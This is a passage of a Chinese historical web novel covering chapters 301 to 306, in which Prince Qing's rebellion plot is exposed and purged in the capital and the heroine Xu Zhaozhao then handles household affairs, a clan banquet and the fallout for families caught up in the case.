崔冲官职的确是不显,但他是奉了皇命来的。 仅这一点,就能让庆王闭上嘴! 没办法,庆王也只能咬牙认了。 而庆王和崔冲都不知道的是,圣上可不是只派了崔冲一个人来的。 崔冲是担心庆王另有所图,所以只想着赶紧回京交差。 而庆王想的是自己一定不能急,要给手下足够的时间去销毁证据。 但是,他们二人显然还不够了解帝王的心思。 早在崔冲带人进入庆王府之前,崔述早已经先一步带人秘密潜入庆王府名下的几个山头,当然,跟他打配合的,还有许君锋和方亮。 这一次,陛下就是有意只用一些小将,也是想要看看他们的能耐究竟如何。 庆王在不知情的时候,那处矿山已经被人围了,而且深山中所藏的锻造兵器的地方也都一应被查出,所有涉案人等,一个逃出来报信的都没有。 也是许君锋和方亮二人行事缜密,在山上布署了一圈之外,还在山脚下做了布署,所以,全都被拿下。 没有人给庆王府送信儿,而此时被崔冲强行逼着进京的庆王,自然也就不知道。 至于庆王府,此时早已经被方大壮调动地方府兵,围了个结结实实。 别说送信的人了,连只苍蝇也别想飞出去。 所以,崔冲此时急不急的,其实已经没有多大必要了。 但是这一层布置,是永安帝下密旨安排的,所以不会有人想到要去给崔冲知会一声,那是抗旨,要杀头的。 庆王还没进京呢,永安帝先收到了崔述和方大壮二人的八百里加急密报。 好家伙,这个庆王,还真是比他想像中要有钱呀! 现在庆王府只是被围,进出的城门也都做了重兵防守,所以,庆王府底下的那些管事们也都无计可施。 至于庆王府的幕僚,有一个算一个,全都被下狱了。 这才是真正的帝王手段。 雷霆万钧! 许昭昭和谢铮自然也不知道,但是他们二人各有一些消息渠道。 尤其是许君锋还是许昭昭的亲二哥呢。 如今许君锋奉命离京,那必然是有要事。 而眼下边关没有战事,许翰这边又刚刚才细查了贾氏一族。 那么现在,许君锋的去处,就很好猜了。 “你四叔那里,确定没有问题吧?” “他又不蠢!我都说的那样明白了,再说得多了,那我就是窥探圣意,要治罪的。” “呵呵,你哪有那么胆小?我二哥是秘密离京,我能收到消息,不代表别人也能。比如说我大哥和三哥就不知情。” “唉!” 谢铮明白她的意思,沉思片刻后,还是去找谢啸威再确认一下。 这可是关系到了多少人脑袋的事。 作不得假。 “圣上下旨命庆王进京一事,四叔知道吧?” 谢啸威点头:“嗯,崔冲不是出发都有几天了嘛。怎么?可是有问题?” “四叔,陛下行事向来严谨,您说,他是否考虑到万一庆王不服从旨意会如何?又是否考虑到崔冲到庆王府后是否会被为难?” 谢啸威一怔,崔冲可是陛下的女婿,总不会真的让自己的女婿去做一些太危险的事。 “三郎,我脑子笨,你直接说吧。” 谢铮面无表情:“方将军父子二人都离京了,四叔,贾家和庆王府的关系已然明了。先前四婶婶来找我娘子闹事,我不会多说什么,但是就四婶婶这个态度,您确定林家那边真的干净?” 谢啸威面色一震,这还真不好说。 “岳父那边应该不至于吧?” “这个我就不知道了。反正眼下情况如此,若是能做出切割,还是尽快,一旦庆王进京,只怕一切都来不及了。” 这话吓得谢啸威一个激灵,他很想说不至于吧! 但是他对上谢铮那双冰冷又带有几分威慑的眼神,一时间还真说不出这样置疑的话了。 “我,我现在再去一趟。” “小心,莫要再走漏风声。听闻依附安王府的几位文官中,已经有人早在两日前便舍出一些产业了。” 这还不够明显吗? 谢啸威火急火燎地出门。 谢铮则是微微挑眉,至于安王府里头的一些小动作,他的确是查到了,但是并不能确定,就是与庆王府有关。 这个不急。 反正只要庆王进京,或者是许君锋那边有消息传回,估计京城也是会有一番大清洗的。 陛下是仁慈,但他的仁慈,是有条件的。 上位者,最不能容忍的,便是臣子的不忠。 你可以贪,也可以不做事,但是你不能不忠! 一旦你的忠心被帝王置疑了,那么,等待你的必然是帝王的雷霆之怒。 况且,当今陛下也从来就不是什么心慈手软的主儿。 当年他能将嫡亲的兄长杀了,如今又怎么会真地去在意一个庶弟的性命。 一切,不过还是因为利益罢了。 谢啸威急匆匆地赶往林家,一番密谈之后,林家的几位管事被一一叫来问话。 谢啸威没有留在那里听,先一步回府了。 能做的都做了,至于结果如何,他也没办法再插手了。 第301章 搬救兵 许君锋不在府上,但是他的妻子安和县主此时却传出了好消息。 许昭昭赏了特意过来报信的人,然后就命人备车,打算亲自去探望一下二嫂嫂。 许昭昭带了不少补品,这其中有一小部分是她的陪嫁品。 补品这种东西,并不是都保存的时间越长越好。 该吃就得吃,该收藏的再收藏。 许昭昭当初嫁过来的时候,那流水一般的嫁妆,可把府上的几位夫人、少夫人们都羡慕坏了。 光是那些上等的瓷器就足以让她们眼馋了。 听说光是茶具,就分了普通的、纯金的、纯银的、鎏金的、鎏银的等好几种,每种再准备各类颜色、图案等各十二套。 你想去吧,光是这些茶具,就能摆满一间屋子了。 许昭昭原本也不是一个抠门的性子,这次回去,挑拣了一些正好适合孕妇用的补品,之后就想着再去给孩子打一个金锁,等孩子出生时正好可以戴。 许昭昭不乐意现买,就想着定制一下。 安和县主现在已经有孕满三个月了,所以这消息才会放出来。 许昭昭来的时间不长,家中便又来道喜的客人了。 正是三嫂的母亲李夫人。 几人说说笑笑之后,许昭昭便提出来想让母亲陪她一起去买些东西,正好李夫人也在,干脆就一起了。 三位直接去了东市的一处银楼,就想着在这里打造一个小金琐,然后再打造一几个金项圈,以后孩子大一些了也可以戴。 在古人眼中,金饰可以辟邪,也可以驱走霉运病灶,所以只要是权贵人家,都会给小孩子们多备一些金饰品。 因为孩子小,所以一般就会准备金项圈或者是金镯子。 许昭昭和王若兰都各自定了两套,李夫人则是去了隔壁的绸缎庄里挑选布料。 母女二人从银楼出来,便去绸缎庄与李夫人会合。 “这市面上的绸缎颜色上差了些,而且我刚刚瞧了两匹,还有一些瑕疵,要不换一家再看看?” 三人本就是出来逛街的,闲来无事,多走几家也没有什么。 但是许昭昭在稀罕了一会儿堂内摆着的绿植后,便对着麦冬吩咐了几句,之后再让紫苏到王若兰身边去。 “主子?” “刚刚我听到了那个掌柜的和店小二的对话,说是要对我们三个人动手,意图逼迫几位将军对庆王投诚,无论真假,总要一探究竟。” “可是?” “放心,麦冬已经去寻帮手了。再说我们出门也是带了家丁护卫的,不会轻易让对方得手。” 许昭昭话落,便又高声道:“掌柜的,此处可有安静之处让我们坐着慢慢选?” “有,自然是有的,几位夫人楼上请。” 掌柜的就等着这话呢。 只要他们上楼了,那接下来就简单多了。 许昭昭抿唇轻笑,想要算计她? 下辈子吧! 许昭昭示意紫苏紧跟着王若兰,自己则是站在了李夫人的身侧。 麦冬是故意先去了隔壁的银楼,之后从银楼的后门出去,一路狂奔至京兆府。 赵长清刚准备出门,结果就被麦冬给堵在衙门了。 “你是何人?” “赵大人,小的是安乐县主身边的护卫,奉命前来请兵。” 赵长清瞬间瞪大眼睛,安乐县主出事了? 一路上,赵长清几次询问,麦冬都只说这是县主吩咐的,还说店内还有许夫人和李夫人同行,只怕那些贼人要对三位夫人动手。 赵长清火速带人将绸缎庄围了起来,与此同时,许昭昭也带人下楼来,正好与赵长清碰面了。 “下官参见县主。” “赵大人不必多礼。这绸缎庄里的人胆子可不小,意图将我们三人绑架,然后再去要挟三位将军,意图让三位将军向庆王投诚。兹事体大,赵大人可要与我一同进宫面圣?” 赵长清不傻,此时进宫面圣,这就是他妥妥的一份功劳。 只是,他也不能直接就信了。 “县主可有证据?” 许昭昭走到他身侧,低声道:“我的人会些拳脚功夫,正好听到了他们是在后院的柴房里拿出刀剑来的。不如赵大人先差人去搜一搜?” 赵长清瞬间明了:“多谢县主告知。” “不必。天子脚下,敢对朝臣的家眷动手,这是吃了熊心豹子胆!还望赵大人能尽快查出实证。” 赵长清一声令下,便有人冲了进去。 而刚进去,就有了刀剑相向。 哪怕是赵长清先前不信,此时也信了。 毕竟,敢对官兵动刀剑,这就是反了呀! 赵长清带的人手可不少,不过十几个逆贼,自然是轻而易举拿下。 “搜!” 有了安乐县主给的明确目标,的确是在柴房里发现了大量的兵器。 不仅如此,他们还在柴房的下面发现了一条密道。 “来人,下去探!” 这一探可不得了。 “大人,这里面全是金银!” 赵长清亲自下去看过之后,人都被震惊得回不过神来了。 “将这里看管好,任何人不得靠近,本官即刻进宫请旨。” “是,大人。” 赵长清的官职可不算低,最主要这是实权在握。 许昭昭命人先将二位夫人送回去,自己随同赵长清一起进宫面圣。 永安帝的脸色冷厉非常。 “昭昭,你确定听到他们提及庆王了?” “回陛下,臣不敢确定是庆王,只是听他们说要将我三人绑了,然后去威胁几位将军,然后趁着主子未进京时,先一步控制几位将军,待主子进京后,再行谋划。” 许昭昭不徐不疾地说完,又有几分后怕道:“陛下,此事多亏了我身边的两位护卫,他们二人会些拳脚功夫,耳聪目明,识破了他们的计划,这才去寻赵大人搬救兵。” 永安帝点头:“他二人有功,朕暂且记下。” 许昭昭知道后面的事,就不适宜再继续参与了。 “谢陛下,臣妇告退。” 永安帝脸色阴沉:“你说那柴房里搜出来多少刀兵?” “回禀陛下,柴房中搜出来陌刀二十六把、马槊十三把。另外,在地下的密室中发现金银两箱,另铜钱约摸有十余箱,角落中的兵器堆积在一起,粗略估算,已超百把。” 第302章 一夜未眠 永安帝其实是没打算这么早就对庆王动手的。 他派人去围了庆王府,再去查探私造兵器一事,哪怕是真的,永安帝也只是想在训斥庆王几句,大不了贬其为郡王、郡公也罢。 可是这庆王实在是找死呀! 人还没进京呢,就已经开始命手下在京城谋划了,若此事真被他的人给办成了,他甚至都不敢想,京城会乱成什么样! 永安帝并不怀疑底下几位将军的忠心,但是一旦被对方得手,就算是几位将军拼死护着他这个帝王,那他们的家眷必然遭到毒手,届时,他又如何面对几位臣子? 永安帝眸光一闪,这些人敢对几位将军的家眷动手,谁又能保证,不会对其它臣子的家眷动手? “赵长清,你即刻去查……” 除了赵长清,连同刑部以及长安县令、万年县令,全都动起来了。 好家伙,一下子,京城就戒严了。 赵长清先审了被锁拿的几人后,顺藤摸瓜,又查出了几个商铺,除此之外,还有一处民宅中查获出大量的兵器。 赵长清是越查越惊心,暗道庆王这是要作死的节奏呀! 从一开始的几有只位负责刑狱的主官介入,到后面,谢铮、崔述等人也都被吩咐起来了。 崔述改守太极宫宫门,至于最外围的宫门则换上了许翰。 许翰也没想到,自己都混到这个份儿上了,竟然还得去守大门。 没办法,圣意难违呀。 至于李章平、谢铮则分别带了人马全城巡逻。 谢铮往家里递了消息,许昭昭则是直接安排人手将整个国公府所有大门紧闭,连同后门也一样,都安排了护卫把守。 一下子这么大的动静,自然是惊动了老夫人。 许昭昭没提自己进宫之事,只说是京中发现了一些逆贼,如今谢铮奉命全城搜寻,所以护国公府内上下,无事不得出入。 于氏略有几分担忧,毕竟京城太平好些年了,上次这么大的阵仗,好像还是陛下登基之后清算异己之时呢。 许昭昭又命人给三爷和五爷那边都送了信,让他们也都看紧门户,莫要被贼人钻了空子,同时也提醒他们,近段时间安分一些,尤其是与庆王有关联的人,一律避开。 谢三爷和谢五爷都是庶出,分出去多少年了,因为不曾入朝为官,自然也就不可能接触到上层圈子。 除非是护国公府愿意透露一二。 现下,许昭昭就先一步给他们透风声了。 这就等于是护国公府的一个信号,就算是三爷和五爷分出去了,也仍然是谢家人,仍然与护国公府宅密不可分。 其实这也正常。 毕竟只是分家,又不是分宗分支。 若是哪日护国公府真地犯了大罪,要抄家灭族的时候,这三房和五房也跑不了。 这一夜,谢铮没有回来,锦绣院内的柱灯,一夜未灭。 许昭昭倒是休息得很好,早早地就上床睡了。 因为她确定谢铮不会回来,所以也没等他的必要,而且如今庆王未曾进京,所以,可不是一晚上就能解决的。 只是,经过这一次,也让许昭昭真正地见识到了国家这个大机器一旦运转起来,那速度也是惊人得可怕! 仅仅一夜,京城就挖出与庆王有勾连的商铺高达二十三家,相关民宅有六处,查获查应的武器上千,而涉及到的人数已然高达近两千人。 这可不是开玩笑呢! 这两千人都是壮丁,一旦庆王真地起事,那么这两千人便是他的马前卒。 更因为他们原就藏匿于普通百姓之中,所以一旦出事,遭殃的一定是老百姓。 能不能冲进皇宫她不知道,但是一定会杀了他们所能看到的平民百姓。 这才是真正的权利之争。 果然,血腥得让人想吐。 这一晚,谢铮和李章平也算是立下了大功,毕竟他们二人查获的人数和兵器都不少,更重要的是,他们在巡逻时,直接与一群人对上,然后刀兵相向。 这下子,庆王意图谋反的事,只怕是藏不住了。 所有的证据、证词等等都一一上交。 大理寺、刑部、京兆府看似是各审各的,但实际上却又都有关联。 谢铮等人这样的武将,那就相对轻松一些。 至少,他们不必去负责审讯等烦人事宜。 许昭昭刚用过早饭,谢铮就回来了,先去书房那边洗了个澡,换身衣服,这才到了许昭昭住的月华楼。 “快,给世子摆膳。” 谢铮用膳没有那么多的讲究,能吃饱就好。 但是如今在府里,谢铮又忙碌了一夜,能吃些好的,自然还是高兴的。 许昭昭亲自给他布菜,谢铮吃得是头都不抬。 没办法,折腾一夜呀,太饿了。 许昭昭看着端上来的小笼蒸包、虾饺、南瓜饼全都被他吃进肚子里,是真担心他没吃饱。 “好了,舒坦!” 谢铮又一连进了两碗粥,才总算是放下了筷子。 就谢铮刚刚那一番吃相,若是换一位贵女见了,只怕会笑话他一声粗鲁。 但许昭昭是打小就见过许翰那样风云残卷的吃相的,所以并不觉得多奇怪。 “可以躺着歇一歇?” “嗯,歇一会儿吧,不过估计时间也长不了。” 许昭昭乐了:“能歇一会是一会儿呢。丁香,去外面守着,任何人不得来打扰世子歇息。” “是,夫人。” 许昭昭就在榻上看书,偶尔再饮一口茶。 谢铮干脆就躺在她的大腿上,双眼轻阖。 两人谁也不说话,只偶尔能听到许昭昭翻动书页的声响。 不过是几息之间,谢铮的呼吸便变得均匀且绵长,许昭昭微微摇头,男人建功立业也不容易呀。 不过谢铮总共也没睡多久,半个时辰都不到,剑九就寻过来了。 许昭昭将谢铮唤醒:“三郎,陛下叫你进宫。” 谢铮两眼一睁,人立刻就精神了。 “三郎!” 许昭昭将人叫住,将自己昨天面圣一事说了,也是为了提醒他一句,这事情最开始的功劳在紫苏和麦冬的身上。 谢铮转念一想,便明白其用意。 “放心,此事我心中有数。你在家等我回来。” 第303章 幽禁 整个京城,一连三天,都能明显地感觉到不对劲。 就连普通的老百姓都发现,这巡城的小兵多了,而且转的也勤快了。 这三天里,刑部、京兆府、大理寺的牢狱里可是快要被关押满了。 终于,三天后,庆王随着崔冲进京了。 因为后来崔冲使了些手段,态度强硬,最终庆王也没法子,只能加快了行程。 就算是他中途想要装病,也被崔冲给识破了。 庆王知道,就这么进京,他一定落不了好。 好在他早有准备,只是不知道如今的京城准备得如何了。 太极殿,除了殿门外的谢铮和崔述之外,整个大殿内只有永安帝和庆王二人四目相对。 “朕自问对你不薄,当年你做出那等蠢事,甚至还险些害了安信侯,朕都没有重惩你,没想到你竟还不知足,你倒是跟朕说说,你私开铁矿,锻造兵器,勾结商贾,暗运粮草,你意欲何为!” 永安帝已然气极。 对这个弟弟,他的感情是有几分复杂的。 当初争夺大位时,这个弟弟没有参与,因为他没有这个资格。 而后来永安帝其实还是借助了这个弟弟的母妃的一些眼线,才算是坐稳帝位。 所以,永安帝这十余年来,对他也算是宽宥。 只可惜,庆王不知足呀。 “哈哈!你竟然说对我不薄?那你为什么不让我留在京城,非要把我赶出去?你知道那是什么地方吗?有封地又怎么样?那等穷山恶水,你真以为是什么好地方?” “放肆!那是父皇钦赐,你怎敢如此大逆不道?” “父皇赐的又如何?你就不能改吗?你是皇帝啊!你若是真的心疼我这个做弟弟的,为何就不能直接将我调至江南?哪怕是调至冀州都比那等地方好。说白了,就是因为我只是你的庶弟,你见不得我好!” “你,简直冥顽不灵!” “哼,现在说这些有什么用?成王败寇,我输了就是输了。我就是锻造兵器了又如何?我就是大肆敛财了又怎样?有本事你直接一道旨意赐死我呀!” 庆王现在也是什么都不怕了,破罐子破摔,爱咋咋滴吧! 永安帝被气得不轻,但还是没有直接下旨赐死,而是命人将其暂时幽禁于庆王府内。 京城也是有庆王府的,那是二十多年前,先皇所赐。 后来庆王远赴封地,这庆王府也一直给他留着。 庆王暂时不能杀,但是其它人,永安帝就毫无顾忌了。 之后接连几天,都有人被推至菜市口。 一天处决几十个呀! 许昭昭没有亲自去,但是她也能想像得出来,那得是一个多么血腥残忍的场面。 只怕那里的地翻一铁锹土上来,都是红的吧。 这一次,也让许昭昭真切地见识到了帝王之怒。 一句话,就能要了一个家族的命呀! 果然,这个时代,还是皇权至上。 许昭昭此时无比庆幸,早一步先向陛下那里表了忠心,要不然,真有点儿慌呀。 庆王暂时被幽禁,但是具体的处罚旨意一直没下。 朝堂上也因为这件事而吵得沸沸扬扬。 谢铮回来,先换了一身常服,然后才去了月华楼。 “今日回来得倒是早。” “今日没有什么要紧事,而且陛下念在前阵子我们一直办差的辛苦份儿上,特意允了我们几个多休息几日。” “是吗?能得几日空闲?” 谢铮轻笑,直接上前将人搂住,下巴抵在她的头顶上,似乎是嫌某样东西碍事,还直接将那支簪子给拔了。 这一拔可不打紧,许昭昭的头发就散了一缕。 “哎呀,你这是做什么?真讨厌!快起开,我还得重新梳发。” “急什么,一会儿再梳。” 谢铮情急得直接就把人抱进来,进了内室。 看到这一幕,丁香和芍药二人脸都红了,赶紧退出去,又打发人去烧热水。 青天白日的,许昭昭自然是不愿意由他闹腾。 但是这帘子一拉,床上的光线也昏暗起来,谢铮再有心撩拨,没一会儿功夫许昭昭便只能任由其施为了。 好在,今日这锦绣院里并无访客,若不然,那才是让人看了笑话。 “都怪你!” “是是是,都怪我。” 闹腾一出之后,许昭昭揉着腰起身。 两人午膳就是直接在月华楼用的,没出去。 之后谢铮干脆就抱着人上楼,二楼被许昭昭收拾出来一间暖房,里面摆了不少的花卉。 原本应该在春秋绽开的鲜花,如今正开得俏丽。 “你这养花的手艺到底是从哪儿学来的?这个时节,能看到这般艳丽的芍药和海棠,我也是佩服得很。” “哼!怎么样?冬日寂寥,看到这些五颜六色的花卉,是不是心情便会大不一样?” “这倒是。” 许昭昭几乎每天都会在这里坐一会儿,有时看看书,有时会看账册,还有的时候可能就只是单纯地发发呆。 谢铮空下来了,许昭昭便提出来想去一趟蓝田县。 “可以,县主府应该是还没有峻工,但是云栖山庄差不多了。咱们过去小住几日,到了那边,我也好好给你调理一下身体。” 谢铮挑眉:“娘子这是对为夫的表现不满意?” 许昭昭瞪他:“又在浑说!你体内有暗疾,再说这么多年在外征战,受冻受寒的,总要好好调理,省得你年老后再受罪。” 谢铮只是轻笑,并不回应。 当天晚上,谢铮便和老夫人说了要去蓝田县的事。 老夫人也知道许昭昭在那里有封地,如今二人成亲了,的确是应该过去一趟,至少得让那边的管事们认得主子才是。 次日一早,夫妻二人便出门了。 谢铮不喜欢坐马车,便骑马护在马车一侧,他们此行没有准备仪仗,只是单纯地多带了些护卫。 云栖山庄这边已经初有起色。 李生和严树二人将这里打理得还不错,至少冬天了,庄子上的人都穿上了棉衣,而且粮食储备方面,也都没有问题。 “禀县主,前面镇子上的那片空地,小的已经都按您吩咐的买下来了,只是那里一片荒芜,也不宜开荒种田,不知县主是如何打算的?” 第304章 奴籍 一旁的谢铮也有几分好奇。 这么一大片的荒地,种粮食显然是不划算的,投入和产出差得太多,就算是谢铮不会种地,但是也明白这样一个简单的道理。 许昭昭笑而不语。 她要这片地,当然不是为了种田的,圣上为什么把自己的封地给选在这里,刚开始许昭昭不能确定,但现在是完全确定了。 她就是个天选打工人,这个天,便是当今陛下。 陛下就是看中了她的点金手,所以才想着让她来好好打造一个新的蓝田。 要不是因为自己是女眷,不能入朝为官,只怕圣上能直接给她封一个蓝田县令了。 现在这样也不错,许昭昭觉得以后这里倒是一个自己消遣的好去处。 “这是图纸,等过完年,你便安排人开始建造屋舍,记住了,我要的是青砖瓦房,而非木屋。” “是,县主。” 严树倒是不曾怀疑过县主一下子建这么多的房子得花多少钱,毕竟县主是出了名的有钱人。 两人在这里也没能停留太长时间,就算是陛下给谢铮放假,也不可能超过十天的。 而且,谢铮还是中途接到宫中的命令,半路上又给叫回去了。 无奈,许昭昭也只能跟他一起回去了。 许昭昭刚回府,正好看到几个丫环凑在一起好似是起了争执。 丁香喝斥一句:“何故在此大声吵闹?” 几位丫环明显有些慌乱,其中两个快一步先行礼:“参见世子夫人。” 后面的几人瞧着眼生,应该也是刚刚得知眼前这位是正经的少夫人,也跟着行礼请安。 许昭昭自然不会与几个奴婢计较,但是瞄了一眼眼生的两位俏丫头,还是多问一句。 “你们是何人?我怎么瞧着眼生呢?” “回世子夫人,奴婢彩蝶。” “回世子夫人,奴婢彩娟。” 许昭昭没说话,最先行礼的一名丫环连忙开口解释:“回世子夫人,这二人是前几日刚刚入府的。” “嗯,既然是新来的,便要好好学学规矩。这里是国公府,无事不得在府内大声喧哗。” “是。” 许昭昭给丁香使了个眼色,便先一步回锦绣园了。 晚膳前,丁香过来回话。 “奴婢问清楚了,那彩蝶和彩娟二人都是被四夫人带回府的,听闻是四夫人在外面买回来的。奴婢又仔细审问之后,才知道这二人是犯官之后,被贬为了奴籍。” 许昭昭大概就明白了。 这一次的案子,可以说是牵连不少人。 听闻光是朝中五品以及下的官员就有近二十人牵涉其中,更有一些商贾、百姓也被牵连。 所以,这二人应该是某一位官员的女儿了。 “可曾问清楚她二人的具体身世?” “奴婢都查清楚了,她们的父亲是原大理寺直,听闻此次也是受庆王案牵连,已被下令砍头,其家眷男丁流放三千里,终身不得回京,其家中女眷一律没为奴籍。” 许昭昭点头,如此看来,这位四婶婶倒是个心善的。 “被买回来为奴,总比充入教坊司要好一些。我看她二人年纪不大,是亲姐妹?” “回主子,是亲姐妹,不过是一嫡一庶,但如今的身份是一样的。” 可不嘛,都是奴籍了,自然是一样的。 “咱们锦绣园没进什么新人吧?” “主子放心,没有您的吩咐,谁也不敢往园子里塞人。” “那就好。” 次日,许昭昭寻个机会就去给于氏请安了。 “听说你昨日才回来,怎么不在屋里好好歇一歇?” “原本也没有什么劳累的。昨儿回来的时候,看到府里有生面孔,便多嘴问了一句,这才知道是四婶婶买了人回来,我今日过来给二婶婶请安,也是想着顺带着问一句,若是我锦绣园里添人,可影响府中事宜?” 于氏一怔,随即明白了她的用意。 “不影响。你是世子夫人,又是县主,多添几个伺候的下人,又非是兵丁,自然不同。” 朝中对于各品级的公侯以及官员都是有着各种制约的。 比如说国公府应该住什么样的府邸,有多少亲卫,出行带多少家丁等等,这些都是有着明文规定的。 若是逾制,轻则被御史弹劾,重则是有可能会被上位者猜疑有不臣之心。 许昭昭是侯府出身的贵女,自然也知道这些,所以才会过来问一问,免得自己锦绣园里人添得太多了,再影响整个国公府的人员安排。 其实,许昭昭完全没必要过来问的,毕竟于氏虽然掌着中馈,但论及身份,远不及许昭昭尊贵,就只是勉强占个长辈的名头罢了。 但许昭昭还是愿意过来走这一趟,也是表明了对这位婶婶的尊重。 她的这份心意,于氏自然也是收到了。 “如此,那我就放心了。我自嫁入谢家以来,还未曾完全熟悉过这国公府呢,而且听闻咱们谢家的女眷其实也不少,再加上三房和五房都不住在这里,我难免会有不熟悉的。所以今日过来一趟,也是想着跟二婶婶请教一下,若是我寻个由头办个宴会,不知是否妥当?” 于氏明白她的意思,就是只请谢氏的亲族过来聚一聚,也是为了能更好的认认人。 “没有什么不妥当的。原本我也正有此意,咱们国公府里住的人不算多,但是整个谢氏族亲在京城的还是不少。旁的也就罢了,这五服内的女眷,你的确是该认一认。” “还是要有劳二婶婶了。依您看,是在我的锦绣园里办这个宴会合适,还是另外选地方?” 于氏觉得哪里都成。 许昭昭想到如今的锦绣园已是大变样,总该多与这些亲眷们多走动,不然,人家指不定会不会对她有意见。 “既如此,那不如就定在锦绣园?” “可以。你看看需要我安排什么,只管开口便是。” “办宴会嘛,自然是少不得要麻烦二婶婶的。只是我听闻四婶婶如今还在禁足,届时还得劳烦您同我一起到老夫人跟前讨个人情,让四婶婶也出来一起热闹热闹。” 于氏明白她的意思,这是不想让族亲们看了国公府的笑话。 “好,依你便是。” 第305章 安排 许昭昭并不是真的想帮小林氏,她只是单纯地不愿意看着有人给她找麻烦而已。 小林氏自己弄进府来的奴婢,就得让她自己去操心。 而且今日自己回府,她不信国公府内的下人们不知道。 再说是谢铮入城后便先一步回府来更换官服,之后自己才坐马车回的府。 所以,那几个丫环是故意在半路上起争执? 想要引起自己的同情,还是只单纯地想要让自己为某些人做主? 如果她没猜错的话,那个叫什么彩蝶彩娟的,分明就是认识自己的,又怎么会在第一时间没有及时行礼? 不过是假装不认识自己,从而引起自己的注意罢了。 再说了,这整个国公府,无论是哪个角落里有什么风吹草动,真以为能瞒得过她? 只要自己想,便是老鼠洞里头藏了什么粮食她都能知道得一清二楚,如今不过是懒得搭理她们罢了。 小林氏自己带回府里来的麻烦,让她自己头疼去,别在自己眼前晃悠! 许昭昭干脆就以赏花为名头,请大家过来热闹一场。 大冬天的,一听说许昭昭这里有开得五颜六色的各种花卉,自然是引起了大家的好奇心。 谢铮的两个庶妹,不请自来,想先一步看看到底是什么花。 许昭昭对这两个庶妹的观感还行,不讨厌,但也谈不上多喜欢。 “芍药,你带二位小姐先去临时弄出来的花房里瞧一瞧。” “是,主子。” 谢娟和谢婵二人行礼告退,许昭昭则是仍然在头疼宴会要不要让于氏也安排些下人过来。 这也正是许昭昭不乐意办宴会的主要原因。 请的客人多,需要的下人自然也就多。 锦绣园里的人手虽然够用,但若是一下子来几十位女眷,那下人也是应付不过来的。 所以,还得让于氏再看着安排。 好在许昭昭一开始就表明了,只宴请女眷,所以应该不会发生什么有伤风化之事。 但是,这些夫人小姐们之间,只怕也是有些小矛盾的。 到时候再看吧,只要不在她的眼皮子底下闹僵,怎么着都成。 许昭昭是新媳妇,按理说等过完年再举办宴会也无不可。 只是许昭昭有自己的打算,等年后,她是计划到蓝田县长住一阵子的。 届时,再在国公府里筹办宴会就会麻烦一些,而且,她也着实不愿意跟一些不太熟的人来往。 正好因为庆王闹这么一出,如今京城刚刚经历了一番血雨腥风,许昭昭在国公府里设宴招待一下亲族,也能释放出一个信号:谢、许两家都无碍,一切太平。 说白了,就是稳一稳这些人的心。 不是所有人都能知道上层的一些消息的。 所以,庆王一出事,再加上这其中还涉及到了谢四夫人的朋友,甚至是还有许昭昭的一位表姐,所以难免大家会多想。 现在办个宴会,就是为了让大家安心。 至于侯府那边,许昭昭也抽空回去了一趟。 “你表姐这次受到的打击可不小。其实她脸上的疤没有那么严重了,就算是不能嫁入高门,但寻一户家境殷实的人家嫁过去还是没问题的。可惜她自己作死,算计了贾家,结果到头来,落得人财两空。 如今她是再嫁之身,莫说是那些好一些的人家了,便是有些骨气的秀才郎,怕是都不愿意的。” 大兴朝对于二嫁女并没有特别鄙视的意思,但是总有一些男人会看重这方面。 所以,有的二嫁女能嫁得好,不代表所有二嫁女都能嫁得好。 比如说孙茜。 她原本就被毁了容,如今还想要再嫁个好人家,的确是太难了。 主要是,不知道是不是有人故意害她,竟然在坊间传闻她克夫。 孙茜嫁入贾家的时间不长,贾氏不仅产业没了,甚至于连人都没了。 如果不是有许翰和孙庆阳先一步做了安排,连孙茜都要受到连累的。 好在,孙茜在贾家出事前,先一步拿到了和离书。 孙茜这边刚把嫁妆抬回家,那边贾家就被抄家了。 所以说,有一门贵亲,这是多么重要。 孙庆阳看到女儿总算是完好无损的回来了,同样是一脸后怕。 若非是因为有侯府这层关系,孙茜指定是不可能被放过的。 好在,他们的消息灵通,而且许翰又特意给孙庆阳这里邀了一下功,所以孙庆阳不仅没受牵连,反而还官升一级。 这一次,孙庆阳是真真切切地感受到了有侯府这样一门亲戚的好处了。 至于孙茜,直接就被禁足在内院,没有孙庆阳的吩咐,谁也不许放她出来。 至于许琳,得知夫君升了官,自然高兴,但是得知还是多亏了娘家的兄长,她心里头又别扭几分。 “母亲,孙茜的事,也算是给咱们提了个醒。您主理内宅,咱们侯府如今又是风头正盛,该敲打那些亲族的时候,还是要敲打一下。” “你说的没错,昨晚上你父亲也是这个意思。他想的是过几日请族里的几位长辈或者是主事人一起好好说说话,另外,我这里也安排人下去查账,顺带着查一下有没有仗势欺的事情存在。这种时候,咱们可得把皮都绷紧了。” “还是母亲思虑周到。先前涉及的那么多官员乡绅,可有母亲的旧友落难了?” 王若兰叹气,怎么会没有呢? 只不过,多年不曾来往的旧友了,要说一点情分也没有,那自然不是。 可要说是真有多深的情谊,倒还真不至于。 “算是你的一位姨母吧。当年未出阁时,我们也曾算是手帕交,只是后来我嫁入侯府,她家道中落,嫁入小官之家,这一次,他们也跟着受了牵连。” “那母亲是如何打算的?” “还好,罪名不算是太严重,如今能确定的就是罢官和流放,不过女眷应该是可以留下的。” “没有被贬为奴籍吧?” “没有。我让人去打听了,说是这一两天应该就能放出来,除了十二以上的男丁之外,余下的人都会被放出来,只是抄没了家产,所以我想着在外面给他们一处地方落脚,再给他们一份生计。” 第306章 尘埃落定 许昭昭还是很认同母亲的这种安排的。 无论是良籍还是奴籍,曾经的好友,再见面若是以主仆相称,终归是有些不妥,彼此都会觉得尴尬。 时日久了,对方兴许还会生出怨恨来。 毕竟曾经的出身都差不了太多,可是事过境迁,竟是以主仆相称,这心理落差怎能轻易便调整好的? 所以,从一开始,许昭昭就不太认同小林氏的做法。 将故交之女赎身回来,安置到底下的庄子上,也总好过在跟前伺候好呀。 只怕到时候不仅没能得到对方的感激,反而再养出几只白眼儿狼来。 许昭昭又提醒道:“母亲,对方既然没有被贬为奴籍,寻一处地方让他们安稳度日便是。若是缺了银钱米粮,您可以派人去接济一二,但要严正告诉下面的人,态度要端正,莫要对人家颐指气使才好。” “你提醒得倒是及时,如今她家中遭难,必然心思敏感。待她们出狱时,我还是要亲自去一趟的。” 许昭昭心思一动:“母亲,如今可能往里面送东西?” 王若兰倒是真不知道,刚开始的时候她使人去问过,那会儿正在严审,所有人都不得探视,如今旨意下来,应该是可以探望的吧。 就这样,母女二人,换了一身不那么奢华的装扮,进去探视了。 当然,她们还带了一些吃食。 